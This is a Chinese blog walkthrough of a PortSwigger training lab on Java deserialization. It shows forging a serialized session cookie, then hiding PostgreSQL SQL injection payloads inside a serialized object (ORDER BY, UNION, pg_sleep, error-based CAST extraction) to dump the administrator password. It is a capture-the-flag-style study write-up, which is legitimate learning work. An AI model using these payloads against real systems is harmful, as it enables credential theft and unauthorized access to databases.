某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

        • 学徒-修改序列化对象
        • 从业者-修改序列化数据类型
        • 从业者-使用应用程序功能
        • 从业者-PHP中的任意对象注入
        • 从业者-Apache Commons-Java反序列化
        • 从业者-预构建的小工具链-PHP反序列化
        • 从业者-收录在案的小工具链-Ruby反序列化
        • 专家-自定义小工具链-Java反序列化
          • 题目
          • 实操
            • 下载程序
            • 开始实验
            • 代码审计+构造载荷=失败???
            • SQL注入
            • 尝试UNION攻击
            • 报错注入
            • 报错注入查表名和列名
            • 报错注入查管理员密码
            • 完成实验
        • 专家-自定义小工具链-PHP反序列化
        • 专家-自定义小工具链-PHAR反序列化
      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • 不安全的反序列化
carsaid
2023-10-31
目录

专家-自定义小工具链-Java反序列化

# 实验室:开发用于Java反序列化的自定义小工具链

# 题目

此实验室使用基于序列化的会话机制。如果你能构造一个合适的小工具链,则可以利用此实验室的不安全反序列化来获取管理员的密码。

若要解决实验室问题,请获取源代码的访问权限,研究源代码并构建小工具链,以获取管理员的密码。然后,以administrator身份登录并删除carlos。

你可以使用以下凭据登录到自己的帐户:wiener:peter

请注意,要想完成此实验,你需要基本熟悉我们在 Web Security Academy (opens new window) 中介绍的另一个主题。(((还未完成实验的题目译者加:我也不清楚是哪个主题)))

提示

为了节省你的一些工作量,我们提供了一个用于序列化对象的通用 Java 程序 (opens new window)。你可以调整此设置,以生成适合你的漏洞载荷的对象。如果你尚未设置 Java 环境,则可以使用基于浏览器的 IDE(例如repl.it)来编译和执行程序。

实验室-专家

开发用于Java反序列化的自定义小工具链 >>

- name: 实验室-专家
  desc: 开发用于Java反序列化的自定义小工具链 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

# 下载程序

根据题目中的提示,下载所需的 GitHub 项目:https://github.com/PortSwigger/serialization-examples/ (opens new window)

Not Found Image

这是一段 Java 程序,可以减轻我们的工作量。

目录java/generic中的是演示程序,它生成了一个示例对象new Foo("str", 123);,你可以试着运行程序并查看效果。

Not Found Image

目录java/solution中的是用于完成实验的主要程序,你只需要修改一处地方:位于代码 11 行的字符串your-payload-here(你的载荷放在这里)

new ProductTemplate("your-payload-here");
1
Not Found Image

此外,如果你的计算机上还没有安装 Java 运行环境,官方很贴心的为你准备了 Java在线工具 (opens new window)。PortSwigger 万岁!

# 开始实验

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

一个购物站点。

Not Found Image

还是老一套流程,登录并捕获请求数据包,找到 Cookie 中经过加密的值。

解码之后可以看到一个 Java 序列化对象。

Not Found Image

# 代码审计+构造载荷=失败???

根据题目中的提示,我们需要先获取源代码的访问权限。

查看 BurpSuite 的 “Target --> Site map” 功能模块,可以看到一个可疑文件/backup/AccessTokenUser.java。

Not Found Image

访问该文件,可以看到一段 Java 源代码。

package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
    private final String username;
    private final String accessToken;

    public AccessTokenUser(String username, String accessToken)
    {
        this.username = username;
        this.accessToken = accessToken;
    }

    public String getUsername()
    {
        return username;
    }

    public String getAccessToken()
    {
        return accessToken;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

一个类AccessTokenUser拥有username和accessToken两个属性。

Not Found Image

根据源代码文件中的package,将文件保存到本地中的对应目录中:data/session/token/AccessTokenUser.java

Not Found Image

在 BurpSuite 中找到先前经过解码的序列化对象,里面有当前账户的 token 值。

Not Found Image

修改项目主程序Main.java:

  • 导入AccessTokenUser程序
  • 创建一个AccessTokenUser对象,并将 wiener 用户名及其 token 传递给构造函数
  • 将对象类型修改为AccessTokenUser
  • 由于AccessTokenUser对象中没有getId()方法,所以改为使用getUsername()防止程序运行时报错
import data.session.token.AccessTokenUser;

......省略

AccessTokenUser originalObject = new AccessTokenUser("wiener", "cgfc8k3io73eemaew65tvyize1vrz9eu");

......省略

AccessTokenUser deserializedObject = deserialize(serializedObject);

......省略

System.out.println("Deserialized object ID: " + deserializedObject.getUsername());
1
2
3
4
5
6
7
8
9
10
11
12
13
Not Found Image

运行修改过后的程序,获得一段经过 Base64 编码的 Java 序列化对象。

Not Found Image

解码看看,和先前的正常序列化对象是不是很像。

Not Found Image

覆盖原有 Cookie,刷新网页。

返回错误 “没有找到对象 data.session.token.AccessTokenUser”。

Not Found Image

对比一下正常的序列化对象,路径为 lab.actions.common.serializable.AccessTokenUser。

好嘛,被源代码给骗了。

Not Found Image

将文件转移至新的目录下:lab/actions/common/serializable/AccessTokenUser.java。

然后修改源代码中的package为相应的路径。

修改前:

Not Found Image

修改后:

Not Found Image

主程序Main.java里面也要改:

// AccessTokenUser.java
package lab.actions.common.serializable;

// Main.java
import lab.actions.common.serializable.AccessTokenUser;
1
2
3
4
5

再次运行程序。

Not Found Image

序列化对象 URL 编码后:

rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBjZ2ZjOGszaW83M2VlbWFldzY1dHZ5aXplMXZyejlldXQABndpZW5lcg%3d%3d
1

覆盖原有 Cookie,刷新网页。

正常访问了 wiener 账户页面,成功构造出适用于当前网站的小工具链。

Not Found Image

但尴尬的是,我虽然能自行构造 wiener 账户的 Java 序列化对象,但那是在我拥有 token 的情况下生成的。

我又没有管理员的 token,我无法生成他的序列化对象啊。

# SQL注入

然后我偷偷瞄了一眼答案,发现原来要搭配 SQL注入 来完成实验。我咋就没想到呢...没想到...想到...到...

而且根本不需要用到AccessTokenUser.java文件,那我费半天劲是为了什么?啊啊啊啊啊啊啊啊......疯了,别管。啊啊啊啊啊......

修改原有的主程序Main.java,在字符串后面加个单引号:

ProductTemplate originalObject = new ProductTemplate("your-payload-here'");
1

然后运行程序,生成经过 Base64 编码的 Java 序列化对象。

Not Found Image

替换原有 Cookie,刷新网页。

可以看到报错信息,数据库类型为PostgreSQL。

Not Found Image

# 尝试UNION攻击

判断原始查询列数:

ProductTemplate originalObject = new ProductTemplate("your-payload-here' ORDER BY 8 -- qwe");
1
Not Found Image

ORDER BY 9时会报错,提示超出范围。

而ORDER BY 8时正常,说明原始查询列数为8列。

Not Found Image

尝试 UNION 攻击,但是没有回显。

ProductTemplate originalObject = new ProductTemplate("your-payload-here' UNION SELECT NULL,'abc',NULL,NULL,NULL,NULL,NULL,NULL -- qwe");
1
Not Found Image

# 报错注入

尝试堆叠查询 + 休眠 5 秒。

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT pg_sleep(5) -- qwe");
1

成功延时 5 秒。

Not Found Image

尝试堆叠查询 + 可见错误消息提取数据(报错注入)。

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT version()) AS int) -- qwe");
1

报错注入成功,可以看到数据库版本信息。

Not Found Image

# 报错注入查表名和列名

查询当前数据库名称,获得academy_labs:

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT current_database()) AS int) -- qwe");
1

查询表名,获得users:

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int) -- qwe");
1
Not Found Image

查询users表中的第一个字段名称,获得password:

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1) AS int) -- qwe");
1
Not Found Image

添加OFFSET 1将查询位置移动一个位置,查询第二个字段的名称,获得username:

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 1) AS int) -- qwe");
1

# 报错注入查管理员密码

通过字符串拼接符||,实现在单个列中检索多个值:

ProductTemplate originalObject = new ProductTemplate("your-payload-here'; SELECT CAST((SELECT username || '~' || password FROM users WHERE username='administrator') AS int) -- qwe");
1

获得管理员用户名和密码:administrator~2fxev5t63edsys319arn(中间的波浪号是分隔符)。

Not Found Image

# 完成实验

使用查询出来的用户名和密码进行登录。

Not Found Image

登录成功,点击 “Admin panel” 访问管理界面。

Not Found Image

点击 “Delete” 删除 carlos 账户。

Not Found Image

删除成功,实验完成。

Not Found Image
编辑 (opens new window)
从业者-收录在案的小工具链-Ruby反序列化
专家-自定义小工具链-PHP反序列化

← 从业者-收录在案的小工具链-Ruby反序列化 专家-自定义小工具链-PHP反序列化→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式